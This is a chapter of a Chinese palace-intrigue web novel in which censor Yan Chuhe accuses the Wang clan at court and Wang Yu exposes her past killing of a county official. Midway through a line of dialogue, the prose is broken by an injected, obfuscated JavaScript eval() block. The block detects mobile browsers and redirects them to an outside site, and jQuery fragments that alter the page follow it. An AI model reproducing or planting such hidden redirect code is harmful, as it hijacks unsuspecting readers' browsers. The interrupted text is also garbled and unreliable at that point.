晏楚鹤从梦中惊醒。


    梦里又是她昨晚见到的那个男人——前朝余孽——她当时吓得胡乱挥洒着药粉，直到听见那声“公主”。她正犹豫着，又听见附近军兵的动静，那浑身是伤的男人也如幽影般消失在夜色里，轻功诡异而凌厉。


    晏楚鹤用衣袖擦去冷汗，又揉了揉发酸的肩颈，这才派起身……燕王出发前特意让人给她备的镜子被她拒绝了，这会儿只好抓住其他人还没醒来的时间，借驿站附近的河面一用。


    ……果然，她这段时间没怎么吃药，肤色比先前白了不少，如今行军又不便用脂粉掩饰容貌，这才会被昨夜那个见过永宁公主的人认出。


    不过幸好，她在宫中久居，清楚那些见过永宁公主的奴婢太监早已死绝。景安帝连自己的孩子都认不全，对匆匆见过几面的永宁公主更是毫无印象。而她，晏楚鹤楚御史作为宠臣，却是每天出现在文武百官前，那张原先属于永宁公主的脸已经悄无声息地归属于她。


    事已至此，她还是默默把在益州遇到的这个奇怪男人的样貌记下。


    ——


    有意思的是，此刻，洛阳京城内，王大将军的旧部中也有一个奇怪的男人。


    晏楚鹤还在路上便从暄儿的来信中得知此事。如今，皇帝正颇为宠幸这位——和她一样擅长搬弄口舌的人。想来，死去的那位王大将军于战事无功，于百姓无义，倒是在搜寻培养些歪门邪道的人才上下了不少功夫。


    又是半个月。


    现如今的大夏朝堂，保守派势力大涨。皆因为这场无人看好的战役大获全胜。而王家如今日渐式微，失去依仗的主战派几乎都投向燕王，其他皇子公主同景安帝比没强到哪里去，更是难于燕王抗衡。是以，而今日燕王班师回京，全城欢迎，俨然储君之姿。


    景安帝听闻这般情形，纵有百般不喜，奈何窦怀谦人如其名最擅长谦恭，燕王做的到位，他这个昏君再怎么糊涂也不会这时候发落他，只好在贵妃和那些宫仆上出气，再久违地去了趟早朝。


    晏楚鹤时隔大半年重回朝堂，正觉得哪哪都不习惯，便见到由皇后亲手搀扶着景安帝，惊讶得移不开眼。比起景安帝那种要死不死的样子，王开宁王皇后更令人意外。她不过三十出头，较之贵妃要年轻许多，正是而立之年，面色却是憔悴至极，想来也是王家的缘故。


    作为景安帝的继后，她的族姐是其元后，姑母是太后，追根溯源，祖上多为前朝重臣，一脉从武一脉从文。


    是以，这个繁盛的封建家族在王大将军身死后依旧有几分权势，实乃百足之虫死而不僵。


    王家今日这番做派倒叫晏楚鹤忍住倦意，强行打起十二分精神。在殿里寻起那位王家出身的皇帝新宠，这位王开宁王皇后的族弟，名叫王宇，从前是镇西军的四品参谋，又以擅长科举策论等著称。


    说是如此。在窦怀谦接手战事前，这对王家兄弟还不是被吐蕃人耍得团团转，眼里只有前朝余孽那些事情。


    今日在朝堂上一见更是，空有虚名，和晏楚鹤像是一个路子，只会弄唇讨好上位者罢了。


    那位二十多岁的年轻男子不像王开宁有着伪装慈悲的美貌，也没有死去王大将军足以欺骗世人的宽厚长相。这位小王参谋生得一副薄唇狭目的刻薄相貌，只见他夹着嗓子，比皇帝身边的太监都要殷勤：“陛下今日加赋，不是为了盘剥百姓，是为了让大夏在战乱中延续的不得已之举。真要害百姓的，是那些只敢在奏章里哭来哭去，却半点实事都做不成的家伙


    ——楚御史觉得呢？”


    晏楚鹤听见这番鬼话，立刻得出结论，此人倒是和她自己完全不同，


    她先前走的是指责大臣，替景安帝发泄情绪，最关键的是准备上演有趣的戏码。


    同样是弄舌，这位王参谋却是完全站在景安帝身前，把黑的说的白的，把这昏君桩桩件件的恶心事说成正当的、合理的、前无古人后无来者的圣明之举。


    嗯，加税拿钱给自己造佛像，却是前无古人。


    不过，两种路线哪个更能迎合景安帝，胜负已分，确实不用多说。晏楚鹤对于这些已经浑不在意了。


    不过是王家的垂死挣扎。


    她收敛神色，大势所趋，胜负已分，她亲眼看着王家穷途末路。


    “与我何干？陛下要加税，自该由户部之人负责。我奉劝王大人还是少担心户部之事，先反思自己吧。”


    “哦？楚御史又有何高见。”果然，景安帝还是爱看戏的。


    “微臣在益州时曾与王大将军旧部交谈，王家涉谋反、贪腐、滥杀无辜等罪，证据确凿，主犯当处凌迟，男丁十六岁以上斩立决，未满十六者发配南瘴充军；女眷没入教坊司。”


    晏楚鹤眨了眨眼，只是从前眼里的那些狡黠都不再出现，余下的那团火径直看向在她右侧的王宇，此人如此年轻，却是下令要她外祖父死，害死她父母的罪魁祸首。


    “王参谋貌似也脱不了干系呢。”


    王宇浑身剧颤，面无人色，显然未曾料到，这位与王家并无什么仇恨，先前在朝堂上也像是中立的楚御史竟能短短时间内查得如此之深。


    第一个说出话的是王开宁，她在听到晏楚鹤声音时便已瑟瑟如秋风落叶，连搀着皇帝的手臂都松了力道，被景安帝倦怠地踹了一脚，却仍是强撑着跪直。


    她是满堂上唯一一个敢替王家发言的。


    病中美人也是美人，王开宁伏在阶前，潸然泪下：“……还请陛下看在臣妾多年的侍奉，臣妾姐姐的份上，王家世代赤胆，怎会行此大逆？楚御史所言必有隐情——容三司彻查，还王家一个明白。”


    这番泣诉为王家换来了充足的喘息。景安帝大概是心中最后那点温情泛起，想起昔日的爱妻弟兄，竟表演出一副深情帝王的样子：“着大理寺、京兆府即日会审。在定罪前，皇后依旧是皇后，参谋史依旧是参谋使。”


    ——


    傍晚，处理完积压的公文，晏楚鹤将视线转向那堆请帖——自回京的那日里，邀约的帖子便就接到了众多邀约，偏偏没有那个人的。她在回京都前就听说过那个人的现状，


    没了她阻拦，他很多革新措施都成功实行，京都好转了不少。前些日子，他亲自去郊区照顾百姓，查看新政推行情况，染了风寒。想必她先前阻拦时顾虑的风险，他也想出办法应对吧。


    这几个月来，他们有过几封书信往来。晏楚鹤本想将这些往办公楼随处放下，没想到又带回去了。


    燕王已经赢了，保守派的和主战派的争斗已经没有必要了。她作为其中关键，身份地位也已水涨船高。就算她只知道蜀地会发生什么，无法助力于其他战事，燕王总归不会亏待她。她还有雕刻的技艺。


    总之，政敌的身份……现在已经可以放下。


    “晏姑娘？”


    马车外，是她正想着的那人的声音。


    在京城，会这样叫她的只有他。


    儒雅青年骑在马背上，明明脸色苍白，倒是看不出病弱的样子。


    晏楚鹤打趣道：“路侯爷白了不少。”


    “楚御史也是，越发像某位故人了。”


    晏楚鹤心里重复着一样的话，说不出口。她的宅子图便宜的买在偏僻处，想来是有要事：“侯爷怎地绕到这了？”


    “王家一事需要谨慎，徐徐图之。”


    “我有分寸，不用你担心。”


    “我不是这个意思。”


    “那是哪个意思？”


    路斐自然不能说自己只是来混个眼熟，试探下晏楚鹤如今是否还对自己上心。若是同传闻中那样，她已经和燕王情投意合，那他的计划可就得换个方式了。是以，他故作镇定，改口道：“你现在对我的政策呢，有什么看法？”


    信纸上的不可信，他要听她亲口说出。


    晏楚鹤笑着，眼前男子的纠结她看的清楚，她误以为他是真的要推行新政关心百姓，竟不自觉露出笑容：“姑且就那样吧。”


    “和信上说的一样？”


    “和信上说的一样。”


    马车缓缓前行，天色彻底沉了下去。到了府邸门口时，门前却已停着另一辆等候良久的马车。


    光天化日，对方不至于做什么。晏楚鹤下了车，同小王参谋见礼。


    “王参谋如今该找的，应该是大理寺，京兆府吧？找我做什么？”


    “王某人并非为自己而来，而是为楚御史而来，”这人明明死到临头，却又突然如此镇定，倒是和早上在朝堂上那副惶恐模样判若两人。


    “我同你无话可


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16836192|190576||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    说。”


    “非也，王某人只想确认一件事，楚御史真的铁了心要追随燕王殿下？”


    晏楚鹤懒得掩饰，道：“我自然是效忠帝王，只是皇位已经于王皇后名下的皇子们无关罢了。”


    “别急着拒绝嘛，楚御史终究是女人，总容易被谎话迷花眼，”王参谋见晏楚鹤愈发不耐的神色，忙道：“燕王许下的皇后之位，将来必然落在世家门第，你若真跟着他，只会白替人做嫁衣。”


    晏楚鹤听得反倒笑出声来：“我在意的怎么会是这个位置？”


    若非我如今是燕王的左膀右臂，你们又怎会多看我这孤女一眼？你们王家招揽笼络人的手段向来如此？不知将来宫里要多几个男皇后？”


    王参谋愣了愣，又道：“御史若愿转圜，王家愿以陇西兵符为聘，更可助御史统掌蜀地军政——”


    晏楚鹤挑眉，微微偏首评价道：“听着倒是诱人。我回头问问燕王殿下肯不肯这般许诺。至于你们王家，我已经在朝堂上同圣上开口，诸多罪证也递交了，自然没有周旋的余地。”


    王参谋倒抽一口冷气，最后那点虚伪的殷勤荡然无存，嗓子也忘了掐：“你这女人！我王家同你无冤无仇，何至于此？”


    无冤无仇？晏楚鹤暗下眼眸，若不是王家当年为了探我外祖父的商道、钓前朝余孽，设局害死她父母，她又怎会这么快走到这一步。


    晏楚鹤看着眼前人死到临头不知悔改，道：“你们害过的人那么多，不差我这一个。”


    “竟是如此，可，楚御史难道无辜？难道手上没有人命？


    楚御史护着的不说燕王，那个路侯爷又能是什么好东西？”


    留下这番话，王参谋拂袖而去。


    ——


    晏楚鹤越想越不对劲，王家如此镇定，定然又有什么她不知道的猫腻。她从来不惧同这些世家作对，只要像以往一样将计就计准备陷进，答案自己就会出现。


    次日一早，那位小王参谋居然还能出现在朝堂上，不仅如此，景安帝也罕见地端坐于龙椅之上。


    一堆关于吐蕃，立储，饥荒的奏折把老皇帝烦得心乱，又聊到王家的案子，王参谋分辨了几句，显然比昨天多了些准备，看他的样子，大理寺和京兆府里应该有王家的人。晏楚鹤正回忆着，突然听到王参谋高声道：“臣一直不解，楚御史盯着王家不放，究竟是何缘故？”


    晏楚鹤语气平静地应付着：“御史风闻奏事，纠察百官，臣也是履行分内之事。”


    “启禀圣上，臣有一事要奏，臣先前在益州成都府了解一桩奇案，”王宇忽地转向御座，神色陡然凝重，“兹事体大，事关前朝余孽，臣不敢不报。”


    听到“前朝”二字，景安帝长叹了口气：“说。”


    “陇西府曾有一县官，平日随和，百姓称赞，一日于宅中离奇失踪，踪迹全无。其妻惊慌失措，竟匆忙变卖家产。”


    景安帝帝拖着肥硕的身体坐了起来，扶着他的王开宁柔声问道：“莫不是他妻子杀了他？”显然，这是他们王家人准备好的戏码。


    “皇后娘娘说的，臣初时亦作此想。”王宇躬身，话锋却一转，“然而，就在其卧房之内，竟发现一条隐秘地道，更搜出数封与前朝逆党往来的密信。”


    “当地官吏循迹追查，得知曾有驿卒目睹一体貌相似之人骑马出逃，而那密道出口，正通向驿馆，那马蹄痕迹直至荒郊悬崖……想来，应是那县丞事败惊恐，仓皇逃窜时失足坠亡——楚御史觉得这番推断如何？”


    “……顺理成章，并无遗漏。”


    “非也，此番说辞有三处破绽。”那王参谋突然抬高了声量：“既是从家中密道秘密潜逃，何来现成的马匹？且那崖边马蹄痕迹非同寻常，杂乱拖沓，不像是只走过一两次。


    其二，既备了马匹，想来是蓄谋已久的潜逃，那必然规划周全，岂会慌不择路，直往绝地悬崖而去？更矛盾的是，既然决心潜逃隐匿，又为何在出走当日被人注意到？”


    “至于其三，”他顿了一顿，目光直刺晏楚鹤，“同日出城的还有一位县丞的外甥女，姓晏，手艺精湛，尤其擅长雕刻。”


    晏楚鹤眉头紧蹙，冷眼对上王宇此刻小人得志的脸。


    原来如此，是查到了她杀王县丞的事。